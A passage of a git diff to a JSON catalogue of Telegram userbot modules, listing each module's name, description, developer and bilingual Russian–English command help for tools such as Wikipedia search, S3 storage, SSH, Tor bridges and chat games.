ID] - Удалить переходник для канала." + }, + { + "listadapterscmd": "- Показать список всех переходников." + }, + { + "clearadapterscmd": "- Удалить все переходники." + } + ], + "new_commands": [ + { + "addadapter": { + "ru_doc": null, + "en_doc": null, + "doc": "[CHANNEL ID] [Текст] - Добавить канал и переходник." + } + }, + { + "deladapter": { + "ru_doc": null, + "en_doc": null, + "doc": "[CHANNEL ID] - Удалить переходник для канала." + } + }, + { + "listadapters": { + "ru_doc": null, + "en_doc": null, + "doc": "- Показать список всех переходников." + } + }, + { + "clearadapters": { + "ru_doc": null, + "en_doc": null, + "doc": "- Удалить все переходники." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fiksofficial/python-modules/deviceinfo.py": { + "name": "DeviceInfo", + "description": "A module for obtaining information about smartphones", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "deviceinfo": "(.di) <device name> - Get smartphone info by name (.di) <название устройства> - Получить информацию о смартфоне" + } + ], + "new_commands": [ + { + "deviceinfo": { + "ru_doc": "(.di) <название устройства> - Получить информацию о смартфоне", + "en_doc": null, + "doc": "(.di) <device name> - Get smartphone info by name" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "fiksofficial/python-modules/irisrp.py": { + "name": "IrisRP", + "description": "РП команды как в боте Ирис.", + "meta": { + "pic": null, + "banner": null, + "developer": "@PyModule" + }, + "commands": [ + { + "addrpcmd": "[команда (1-3 слова)] / [действие] / (эмодзи) - Создать РП команду." + }, + { + "delrpcmd": "[команда / all] - Удалить РП команду." + }, + { + "rptogglecmd": "- Включить/Выключить РП команды." + }, + { + "rplistcmd": "- Список все ваших команд." + }, + { + "rpbackcmd": "(all) - Сохранить или загрузить список РП команд. All используется для замены всех команд." + }, + { + "rpacmd": "(ID/Reply) - Разрешить или запретить доступ к РП командам. Для подробностей напишите .rpa" + } + ], + "new_commands": [ + { + "addrp": { + "ru_doc": null, + "en_doc": null, + "doc": "[команда (1-3 слова)] / [действие] / (эмодзи) - Создать РП команду." + } + }, + { + "delrp": { + "ru_doc": null, + "en_doc": null, + "doc": "[команда / all] - Удалить РП команду." + } + }, + { + "rptoggle": { + "ru_doc": null, + "en_doc": null, + "doc": "- Включить/Выключить РП команды." + } + }, + { + "rplist": { + "ru_doc": null, + "en_doc": null, + "doc": "- Список все ваших команд." + } + }, + { + "rpback": { + "ru_doc": null, + "en_doc": null, + "doc": "(all) - Сохранить или загрузить список РП команд. All используется для замены всех команд." + } + }, + { + "rpa": { + "ru_doc": null, + "en_doc": null, + "doc": "(ID/Reply) - Разрешить или запретить доступ к РП командам. Для подробностей напишите .rpa" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fiksofficial/python-modules/histart.py": { + "name": "HistartMod", + "description": "🔁 Automatically restarts your userbot at set intervals.\n\n⏱ Use .setrestart <interval> and .histart on/off to enable/disable.", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "setrestart": "⚙️ Установить интервал автоперезапуска. Поддерживает 1h30m, 2d3h и т.д." + }, + { + "histart": "🔁 Включить или выключить авто-рестарт: .histart on | off" + } + ], + "new_commands": [ + { + "setrestart": { + "ru_doc": "⚙️ Установить интервал автоперезапуска. Поддерживает 1h30m, 2d3h и т.д.", + "en_doc": null, + "doc": null + } + }, + { + "histart": { + "ru_doc": "🔁 Включить или выключить авто-рестарт: .histart on | off", + "en_doc": null, + "doc": null + } + } + ], "category": [ "Tools", "Chat" ] }, - "venv/lib/python3.9/site-packages/sklearn/linear_model/_base.py": { - "name": "LinearModel", - "description": "Base class for Linear Models", + "fiksofficial/python-modules/wiki.py": { + "name": "WikiSearchMod", + "description": "Search Wikipedia articles", "meta": { "pic": null, - "banner": null + "banner": null, + "developer": "@pymodule" }, - "commands": [], - "new_commands": [], + "commands": [ + { + "wiki": "[термин] - Поиск статьи в Википедии по запросу" + } + ], + "new_commands": [ + { + "wiki": { + "ru_doc": "[термин] - Поиск статьи в Википедии по запросу", + "en_doc": null, + "doc": null + } + } + ], "category": [ - "Fun", - "Tools" + "Tools", + "Games" ] }, - "venv/lib/python3.9/site-packages/sklearn/linear_model/_coordinate_descent.py": { - "name": "LinearModelCV", - "description": "Base class for iterative model fitting along a regularization path.", + "fiksofficial/python-modules/cutemessages.py": { + "name": "CuteMessages", + "description": "Makes your messages extra cute with adorable styles!", "meta": { "pic": null, - "banner": null + "banner": null, + "developer": "@pymodule" }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/requests/exceptions.py": { - "name": "FileModeWarning", - "description": "A file was opened in text mode, but Requests determined its binary length.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], + "commands": [ + { + "cutemessages": "Toggle CuteMessages on or off. Включение или выключение CuteMessages." + }, + { + "cutemessages_settings": "Просмотр и изменение настроек CuteMessages." + } + ], + "new_commands": [ + { + "cutemessages": { + "ru_doc": "Включение или выключение CuteMessages.", + "en_doc": null, + "doc": "Toggle CuteMessages on or off." + } + }, + { + "cutemessages_settings": { + "ru_doc": "Просмотр и изменение настроек CuteMessages.", + "en_doc": null, + "doc": null + } + } + ], "category": [ "Tools", "Chat" ] }, - "D4n13l3k00/FTG-Modules/Ava.py": { - "name": "AvaMod", - "description": "Установка/удаление аватарок через команды", + "fiksofficial/python-modules/sysinfo.py": { + "name": "SysInfoMod", + "description": "System information.", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "sysinfo": "🔧 Показывает информацию о системе." + } + ], + "new_commands": [ + { + "sysinfo": { + "ru_doc": "🔧 Показывает информацию о системе.", + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "fiksofficial/python-modules/checkhost.py": { + "name": "CheckHostMod", + "description": "Check host via check-host.net", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "checkhost": "[хост] — проверить хост" + } + ], + "new_commands": [ + { + "checkhost": { + "ru_doc": "[хост] — проверить хост", + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/dscanner.py": { + "name": "DomainScannerMod", + "description": "Scan a domain / Сканирование домена", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "domscancmd": "Scan domain / Сканировать домен. Usage: .domscan <domain> Сканировать домен. Использование: .domscan <домен>" + } + ], + "new_commands": [ + { + "domscan": { + "ru_doc": "Сканировать домен. Использование: .domscan <домен>", + "en_doc": null, + "doc": "Scan domain / Сканировать домен. Usage: .domscan <domain>" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fiksofficial/python-modules/githubinfo.py": { + "name": "GitHubInfoMod", + "description": "GitHub user info, recent activity and contribution graph", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "gh": "Show GitHub user info Информация о пользователе GitHub" + }, + { + "gha": "Show recent GitHub activity Последняя активность GitHub" + }, + { + "ghc": "Show GitHub contribution graph Показать график контрибов GitHub" + } + ], + "new_commands": [ + { + "gh": { + "ru_doc": "Информация о пользователе GitHub", + "en_doc": null, + "doc": "Show GitHub user info" + } + }, + { + "gha": { + "ru_doc": "Последняя активность GitHub", + "en_doc": null, + "doc": "Show recent GitHub activity" + } + }, + { + "ghc": { + "ru_doc": "Показать график контрибов GitHub", + "en_doc": null, + "doc": "Show GitHub contribution graph" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/getusername.py": { + "name": "GetUserMod", + "description": "Получает username пользователя по его ID", + "meta": { + "pic": null, + "banner": null, + "developer": "@PyModule" + }, + "commands": [ + { + "getuser": "[ID] - Найти username по ID." + } + ], + "new_commands": [ + { + "getuser": { + "ru_doc": null, + "en_doc": null, + "doc": "[ID] - Найти username по ID." + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "fiksofficial/python-modules/speedtest.py": { + "name": "SpeedTestMod", + "description": "Модуль для проверки скорости интернета", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "speedcmd": "Запускает тест скорости интернета" + } + ], + "new_commands": [ + { + "speed": { + "ru_doc": null, + "en_doc": null, + "doc": "Запускает тест скорости интернета" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/Figlet.py": { + "name": "FigletMod", + "description": "Длинные слова лучше переносить на другую строчку. Пример:\n`.figlet Hello\nWorld!`\nЕсли написать в одну строчку, то слово не уместится в одно сообщение ", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "figlet": "<text> - делает текст большим" + } + ], + "new_commands": [ + { + "figlet": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - делает текст большим" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/youtube-loader.py": { + "name": "YouTube_DLDMod", + "description": "Помогает скачивать видео с YouTube", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP, @RoKrz" + }, + "commands": [ + { + "dlvideo": "<ссылка> или ответ на сообщение со ссылкой — скачивает видео с YouTube" + } + ], + "new_commands": [ + { + "dlvideo": { + "ru_doc": null, + "en_doc": null, + "doc": "<ссылка> или ответ на сообщение со ссылкой — скачивает видео с YouTube" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "Ruslan-Isaev/modules/barcode.py": { + "name": "BarcodeGeneratorMod", + "description": "Генерирует штрих код (code128) ", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "barcodecmd": "<код> - генерирует штрих-код" + } + ], + "new_commands": [ + { + "barcode": { + "ru_doc": null, + "en_doc": null, + "doc": "<код> - генерирует штрих-код" + } + } + ], + "category": [ + "Fun", + "Chat" + ] + }, + "Ruslan-Isaev/modules/NewMlMod.py": { + "name": "NewMlMod", + "description": "A module for uploading modules as a file. Let's just say it's a heavily stripped-down UnitHeta.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "nmlcmd": "send module via file" + } + ], + "new_commands": [ + { + "nml": { + "ru_doc": null, + "en_doc": null, + "doc": "send module via file" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/ThreadLink.py": { + "name": "ThreadMod", + "description": "Модуль для получения ветки", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP, @matubuntu" + }, + "commands": [ + { + "threadlink": "Получает ссылку на ветку сообщений.\n " + } + ], + "new_commands": [ + { + "threadlink": { + "ru_doc": null, + "en_doc": null, + "doc": "Получает ссылку на ветку сообщений.\n " + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "Ruslan-Isaev/modules/ttf.py": { + "name": "TTFMod", + "description": "Создает текстовый файл, отправляет его в Telegram, а затем удаляет.", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP, @matubuntu" + }, + "commands": [ + { + "ttf": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла/<reply>" + }, + { + "ttf_noreply": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла" + } + ], + "new_commands": [ + { + "ttf": { + "ru_doc": null, + "en_doc": null, + "doc": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла/<reply>" + } + }, + { + "ttf_noreply": { + "ru_doc": null, + "en_doc": null, + "doc": "Создает текстовый файл с заданным именем и расширением, \nзаписывает в него текст, отправляет его в Telegram и удаляет с диска.\n\nПример:\n.ttf название.txt\nТекст для файла" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/DogPic.py": { + "name": "DogPicMod", + "description": "Модуль для фотографий с милыми собачками", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "dogpic": "картинка с собачкой" + } + ], + "new_commands": [ + { + "dogpic": { + "ru_doc": null, + "en_doc": null, + "doc": "картинка с собачкой" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Ruslan-Isaev/modules/grok.py": { + "name": "GrokAIMod", + "description": "Модуль для нейросети Grok через бота @GrokAI", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "grokdelcmd": "- очищает историю переписки с нейросетью (контекст)" + }, + { + "grokcmd": "<текст> - запрос к нейросети Grok" + } + ], + "new_commands": [ + { + "grokdel": { + "ru_doc": null, + "en_doc": null, + "doc": "- очищает историю переписки с нейросетью (контекст)" + } + }, + { + "grok": { + "ru_doc": null, + "en_doc": null, + "doc": "<текст> - запрос к нейросети Grok" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/clck.py": { + "name": "ClckMod", + "description": "Помогает сократить ссылку в clck.ru или расшифровать укороченную ссылку.", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "schortcmd": "<url> - сократит ссылку." + }, + { + "deschortcmd": "<url> - расшифрует ссылку." + } + ], + "new_commands": [ + { + "schort": { + "ru_doc": null, + "en_doc": null, + "doc": "<url> - сократит ссылку." + } + }, + { + "deschort": { + "ru_doc": null, + "en_doc": null, + "doc": "<url> - расшифрует ссылку." + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "Ruslan-Isaev/modules/IrisAutoFarm.py": { + "name": "IrisAutoFarm", + "description": "Автофарм в ирисе", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "блэкстарт": "Завести таймеры в Iris Black Diamond" + } + ], + "new_commands": [ + { + "блэкстарт": { + "ru_doc": null, + "en_doc": null, + "doc": "Завести таймеры в Iris Black Diamond" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "Ruslan-Isaev/modules/Amnesty.py": { + "name": "AmnestyMod", + "description": "Модуль для разбана всех пользователей в чате или в лс (амнистия)", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "amnestycmd": "- разблокирует всех в чате" + }, + { + "amnistiacmd": "- разблокирует всех в лс" + } + ], + "new_commands": [ + { + "amnesty": { + "ru_doc": null, + "en_doc": null, + "doc": "- разблокирует всех в чате" + } + }, + { + "amnistia": { + "ru_doc": null, + "en_doc": null, + "doc": "- разблокирует всех в лс" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/SFTPUploader.py": { + "name": "SFTPUploaderMod", + "description": "Загрузка файлов на SFTP", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "sftp": "<reply> - загружает файл на SFPT" + } + ], + "new_commands": [ + { + "sftp": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - загружает файл на SFPT" + } + } + ], + "category": [ + "Security", + "Chat" + ] + }, + "Ruslan-Isaev/modules/S3.py": { + "name": "S3Mod", + "description": "Модуль для работы с S3 хранилищами", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "S3upload": "<path> <reply> - сохраняет файл в S3 хранилище" + }, + { + "S3LS": "<path> - список файлов в S3 хранилище" + }, + { + "S3delete": "<path> - удаляет файл из S3 хрпнилища" + }, + { + "S3rename": "<folder> <old_filename> <new_filename> - переименовывает файл. Пробелы в адресе заменяйте на %20" + }, + { + "S3cut": "<file> <old_folder> <new_folder> - вырезает файл. Пробелы в адресе заменяйте на %20" + }, + { + "S3copy": "<file> <old_folder> <new_folder> - копирует файл. Пробелы в адресе заменяйте на %20" + }, + { + "S3download": "<path> - скачивает файл из S3 хрпнилища и отправляет в Telegram" + }, + { + "s3config": "- открыть конфигурацию модуля" + }, + { + "S3usage": "- сколько занято памяти на S3" + }, + { + "S3clear": "- удаление незавершенных загрузок" + }, + { + "S3purge": "- ПОЛНАЯ ОЧИСТКА ХРАНИЛИЩА S3. Будьте осторожны с этой командой" + } + ], + "new_commands": [ + { + "S3upload": { + "ru_doc": null, + "en_doc": null, + "doc": "<path> <reply> - сохраняет файл в S3 хранилище" + } + }, + { + "S3LS": { + "ru_doc": null, + "en_doc": null, + "doc": "<path> - список файлов в S3 хранилище" + } + }, + { + "S3delete": { + "ru_doc": null, + "en_doc": null, + "doc": "<path> - удаляет файл из S3 хрпнилища" + } + }, + { + "S3rename": { + "ru_doc": null, + "en_doc": null, + "doc": "<folder> <old_filename> <new_filename> - переименовывает файл. Пробелы в адресе заменяйте на %20" + } + }, + { + "S3cut": { + "ru_doc": null, + "en_doc": null, + "doc": "<file> <old_folder> <new_folder> - вырезает файл. Пробелы в адресе заменяйте на %20" + } + }, + { + "S3copy": { + "ru_doc": null, + "en_doc": null, + "doc": "<file> <old_folder> <new_folder> - копирует файл. Пробелы в адресе заменяйте на %20" + } + }, + { + "S3download": { + "ru_doc": null, + "en_doc": null, + "doc": "<path> - скачивает файл из S3 хрпнилища и отправляет в Telegram" + } + }, + { + "s3config": { + "ru_doc": null, + "en_doc": null, + "doc": "- открыть конфигурацию модуля" + } + }, + { + "S3usage": { + "ru_doc": null, + "en_doc": null, + "doc": "- сколько занято памяти на S3" + } + }, + { + "S3clear": { + "ru_doc": null, + "en_doc": null, + "doc": "- удаление незавершенных загрузок" + } + }, + { + "S3purge": { + "ru_doc": null, + "en_doc": null, + "doc": "- ПОЛНАЯ ОЧИСТКА ХРАНИЛИЩА S3. Будьте осторожны с этой командой" + } + } + ], + "category": [ + "Chat", + "Security" + ] + }, + "Ruslan-Isaev/modules/GeoMod.py": { + "name": "GeoMod", + "description": "Модуль для отправки геолокации с указанным адресом или координатами", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "sendgeo": "<адрес> - отправить геолокацию с указанным адресом или координатами" + } + ], + "new_commands": [ + { + "sendgeo": { + "ru_doc": null, + "en_doc": null, + "doc": "<адрес> - отправить геолокацию с указанным адресом или координатами" + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "Ruslan-Isaev/modules/spellchecker.py": { + "name": "SpellerMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "spellcheckcmd": "Проверить орфографию текста.\n\nИспользование:\n.spellcheck [текст] - проверка указанного текста.\n.spellcheck -r - проверка текста из реплая." + } + ], + "new_commands": [ + { + "spellcheck": { + "ru_doc": null, + "en_doc": null, + "doc": "Проверить орфографию текста.\n\nИспользование:\n.spellcheck [текст] - проверка указанного текста.\n.spellcheck -r - проверка текста из реплая." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/financemod.py": { + "name": "FinanceMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "valutecmd": "[count] [usd, eur, ...]" + }, + { + "cryptocmd": "[count] [ton, btc, ...]" + } + ], + "new_commands": [ + { + "valute": { + "ru_doc": null, + "en_doc": null, + "doc": "[count] [usd, eur, ...]" + } + }, + { + "crypto": { + "ru_doc": null, + "en_doc": null, + "doc": "[count] [ton, btc, ...]" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "Ruslan-Isaev/modules/Quotly.py": { + "name": "QuotlyMod", + "description": "Модуль для создания стикеров по сообщению через @QuotLyBot", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "quotly": "<reply> - создать стикер по сообщению" + } + ], + "new_commands": [ + { + "quotly": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - создать стикер по сообщению" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/GenNick.py": { + "name": "GenNickMod", + "description": "Простой генератор ников", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "GenNick": "Генерирует стандартный ник" + }, + { + "GenIntNick": "Генерирует ник с цифрами" + } + ], + "new_commands": [ + { + "GenNick": { + "ru_doc": null, + "en_doc": null, + "doc": "Генерирует стандартный ник" + } + }, + { + "GenIntNick": { + "ru_doc": null, + "en_doc": null, + "doc": "Генерирует ник с цифрами" + } + } + ], + "category": [ + "Fun", + "Social" + ] + }, + "Ruslan-Isaev/modules/search.py": { + "name": "SearchMod", + "description": "🌐 Internet search module", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "picsearchcmd": "<reply to image> - 🔍 Reverse image search" + }, + { + "searchcmd": "<text> / <reply> - 🌐 Search Internet" + } + ], + "new_commands": [ + { + "picsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply to image> - 🔍 Reverse image search" + } + }, + { + "search": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> / <reply> - 🌐 Search Internet" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "Ruslan-Isaev/modules/whois.py": { + "name": "WhoisMod", + "description": "Модуль для получения информации о домене или ip адресе", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "whois": "<домен> - получить информацию о домене или IP" + } + ], + "new_commands": [ + { + "whois": { + "ru_doc": null, + "en_doc": null, + "doc": "<домен> - получить информацию о домене или IP" + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "Ruslan-Isaev/modules/DNSResolver.py": { + "name": "DNSResolverMod", + "description": "Модуль для отправки DNS запросов ", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "resolvecmd": "<домен> - получает DNS записи указанного домена" + } + ], + "new_commands": [ + { + "resolve": { + "ru_doc": null, + "en_doc": null, + "doc": "<домен> - получает DNS записи указанного домена" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Ruslan-Isaev/modules/Надстрочка.py": { + "name": "НадстрочкаMod", + "description": "Делает надстрочный текст", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "upcmd": "<text> - сделать верхний шрифт" + } + ], + "new_commands": [ + { + "up": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - сделать верхний шрифт" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Ruslan-Isaev/modules/checkmodule.py": { + "name": "CheckModulesMod", + "description": "Модуль для проверки модулей", + "meta": { + "pic": null, + "banner": null, + "developer": "@matubuntu" + }, + "commands": [ + { + "checkmodcmd": "<url/reply file> - проверяет модули" + } + ], + "new_commands": [ + { + "checkmod": { + "ru_doc": null, + "en_doc": null, + "doc": "<url/reply file> - проверяет модули" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/gigagpt.py": { + "name": "RUISChatGPTMod", + "description": "ChatGPT 3, Gigachat без API ключа и с контекстом. Бот, который используется для запросов: @Gigachat_bot и @GPTChatRBot. Модуль распространяется по лицензии MIT.", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP, @matubuntu" + }, + "commands": [ + { + "gptdelcmd": "- очищает историю переписки с нейросетью(контекст)" + }, + { + "giga": "<текст> - запрос к нейросети GigaChat" + }, + { + "gigadelcmd": "- очищает историю переписки с нейросетью(контекст)" + }, + { + "gptcmd": "<текст> - запрос к нейросети ChatGPT" + } + ], + "new_commands": [ + { + "gptdel": { + "ru_doc": null, + "en_doc": null, + "doc": "- очищает историю переписки с нейросетью(контекст)" + } + }, + { + "giga": { + "ru_doc": null, + "en_doc": null, + "doc": "<текст> - запрос к нейросети GigaChat" + } + }, + { + "gigadel": { + "ru_doc": null, + "en_doc": null, + "doc": "- очищает историю переписки с нейросетью(контекст)" + } + }, + { + "gpt": { + "ru_doc": null, + "en_doc": null, + "doc": "<текст> - запрос к нейросети ChatGPT" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/ssh.py": { + "name": "SSHMod", + "description": "SSH module for uploading files and executing commands", + "meta": { + "pic": null, + "banner": null, + "developer": "@RUIS_VlP" + }, + "commands": [ + { + "save": "<reply> - saves the file to the ~/sshmod directory" + }, + { + "sterminal": "<command> - executes a command on the SSH server" + } + ], + "new_commands": [ + { + "save": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - saves the file to the ~/sshmod directory" + } + }, + { + "sterminal": { + "ru_doc": null, + "en_doc": null, + "doc": "<command> - executes a command on the SSH server" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ruslan-Isaev/modules/tornodes.py": { + "name": "TorNodes", + "description": "Получает список мостов для сети Tor", + "meta": { + "pic": null, + "banner": null, + "developer": "@matubuntu" + }, + "commands": [ + { + "bridge": "obfs4 / webtunnel - получить мосты для сети Tor" + }, + { + "tncfg": "- открыть конфигурацию модуля" + } + ], + "new_commands": [ + { + "bridge": { + "ru_doc": null, + "en_doc": null, + "doc": "obfs4 / webtunnel - получить мосты для сети Tor" + } + }, + { + "tncfg": { + "ru_doc": null, + "en_doc": null, + "doc": "- открыть конфигурацию модуля" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "Ruslan-Isaev/modules/gitrepo.py": { + "name": "GitRepoMod", + "description": "Клонирует git репозиторий и отправляет его в виде zip-архива", + "meta": { + "pic": null, + "banner": null, + "developer": "@qShad0_bio" + }, + "commands": [ + { + "git": "Клонирует git репозиторий и отправляет его в виде zip-архива" + }, + { + "wget": "Сохраняет файл из интернета" + } + ], + "new_commands": [ + { + "git": { + "ru_doc": null, + "en_doc": null, + "doc": "Клонирует git репозиторий и отправляет его в виде zip-архива" + } + }, + { + "wget": { + "ru_doc": null, + "en_doc": null, + "doc": "Сохраняет файл из интернета" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/wordly.py": { + "name": "WordlyHelper", + "description": "Помощник для игры \"Вордли на Русском\"", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/WordlyHelper.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "wordly": "<маркировка слова> [-not <буквы подряд, которых точно нету в слове>] [-yes <буквы подряд, которые точно есть в слове] - Найти слова по маркировке:\n* - одна любая буква\n$ - любое кол-во любых букв\nпример: *т**т -yes оч -not абвгд : отчет" + } + ], + "new_commands": [ + { + "wordly": { + "ru_doc": null, + "en_doc": null, + "doc": "<маркировка слова> [-not <буквы подряд, которых точно нету в слове>] [-yes <буквы подряд, которые точно есть в слове] - Найти слова по маркировке:\n* - одна любая буква\n$ - любое кол-во любых букв\nпример: *т**т -yes оч -not абвгд : отчет" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/minesweeper.py": { + "name": "MineSwepperModule", + "description": "Minesweeper game", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/MineSwepper.png", + "developer": "@AstroModules" + }, + "commands": [ + { + "minesweeper": "- start the game \"Minesweeper\" - начать игру \"Сапёр\"" + } + ], + "new_commands": [ + { + "minesweeper": { + "ru_doc": "- начать игру \"Сапёр\"", + "en_doc": null, + "doc": "- start the game \"Minesweeper\" " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/Compliments.py": { + "name": "ComplimentsMod", + "description": "Покажи девушке какая она прекрасная (ну или им, какие они прекрасные)", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Compliments.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "complimentscfgcmd": "—>конфиг этого модуля" + }, + { + "ilikecmd": "Инлайн анимация комплиментов(полная настройка в конфиге)" + } + ], + "new_commands": [ + { + "complimentscfg": { + "ru_doc": null, + "en_doc": null, + "doc": "—>конфиг этого модуля" + } + }, + { + "ilike": { + "ru_doc": null, + "en_doc": null, + "doc": "Инлайн анимация комплиментов(полная настройка в конфиге)" + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/dialogs_manager.py": { + "name": "DialogsManagerMod", + "description": "Check your all info for dialogs, chats, PMs\nDelete definite dialog,\ndelete all dialogs by arguments,\nleave the chats, ids/usernames which you specify\nDialogs Manager!", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/DialogsManager.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "dialogsinfo": "➪ all info for your dialogs, chats, PMs... ➪ полная информация о ваших диалогах, чатах лс и т.д." + }, + { + "dialog_clear": "<id or @username> ➪ delete dialog with user <id or @username> ➪ удалить чат(диалог) с юзером" + }, + { + "dclear": "➪ alias for command 'dialog_clear' ➪ алиас для команды 'dialogs_clear'" + }, + { + "all_dialogs_clear": "Arguments:\n-deleted ➪ delete all dialogs PM with deleted accounts\n-fake ➪ delete all dialogs PM with fake accounts\n-scam ➪ delete all dialogs PM with scam accounts\n-bots ➪ delete all dialog with bots\n-allpms ➪ delete all dialogs PM\n-prem ➪ delete all dialogs PM with PREMIUM⭐️ users Аргументы:\n\t\t-deleted ➪ очистить все ЛС с удаленными аккаунтами\n\t\t-fake ➪ очистить все ЛС с аккаунтами с пометкой \"FAKE\"\n\t\t-scam ➪ очистить все ЛС со скам аккаунтами\n\t\t-bots ➪ очистить все ЛС с ботами\n\t\t-allpms ➪ очистить ВСЕ АБСОЛЮТНО 